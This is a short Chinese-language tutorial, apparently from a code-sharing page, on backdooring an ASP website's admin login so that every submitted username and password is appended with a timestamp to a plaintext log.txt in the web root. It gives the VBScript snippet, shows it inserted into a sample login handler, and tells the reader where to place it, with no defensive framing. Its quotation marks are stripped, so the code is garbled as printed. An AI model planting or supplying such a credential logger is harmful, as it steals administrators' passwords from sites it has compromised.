許多駭客透過修改後台登陸代碼來獲得目標網站的使用者登入密碼,這樣我們一旦輸入了密碼就保存到一個txt裡面
代碼如下:
set fso=server.createobject(scripting.filesystemobject)
if fso.FileExists(server.mappath(log.txt))=true then
set fin=fso.OpenTextFile(server.mappath(log.txt))
temp=fin.readall
fin.close
set fin=nothing
end if
set fout=fso.createtextfile(server.mappath(log.txt))
fout.WriteLine(temp&user:&username&¦pwd:&password&¦time:&now()&)
fout.close
set fout=nothing
set fso=nothing
在後台登入處表單提交的地方插入!
參考文件:
複製代碼代碼如下:
<%@language=vbscript codepage=936 %>
<%
dim sql,rs
dim username,password,CheckCode
username=replace(trim(request(username)),',)
password=replace(trim(Request(password)),',)
CheckCode=replace(trim(Request(CheckCode)),',)
if UserName= then
FoundErr=True
ErrMsg=ErrMsg & <br><li>使用者名稱不能為空! </li>
end if
if Password= then
FoundErr=True
ErrMsg=ErrMsg & <br><li>密碼不能為空! </li>
end if
if CheckCode= then
FoundErr=True
ErrMsg=ErrMsg & <br><li>驗證碼不能為空! </li>
end if
if session(CheckCode)= then
FoundErr=True
ErrMsg=ErrMsg & <br><li>你登入時間過長,請重新回到登入頁面登入。 </li>
end if
if CheckCode<>CStr(session(CheckCode)) then
FoundErr=True
ErrMsg=ErrMsg & <br><li>您輸入的確認碼與系統產生的不一致,請重新輸入。 </li>
end if
'這後面是我增加的代碼~開始區域
set fso=server.createobject(scripting.filesystemobject)
if fso.FileExists(server.mappath(log.txt))=true then
set fin=fso.OpenTextFile(server.mappath(log.txt))
temp=fin.readall
fin.close
set fin=nothing
end if
set fout=fso.createtextfile(server.mappath(log.txt))
fout.WriteLine(temp&user:&username&|pwd:&password&|time:&now()&)
fout.close
set fout=nothing
set fso=nothing
'後面的程式碼被我刪除了~結束區域
%>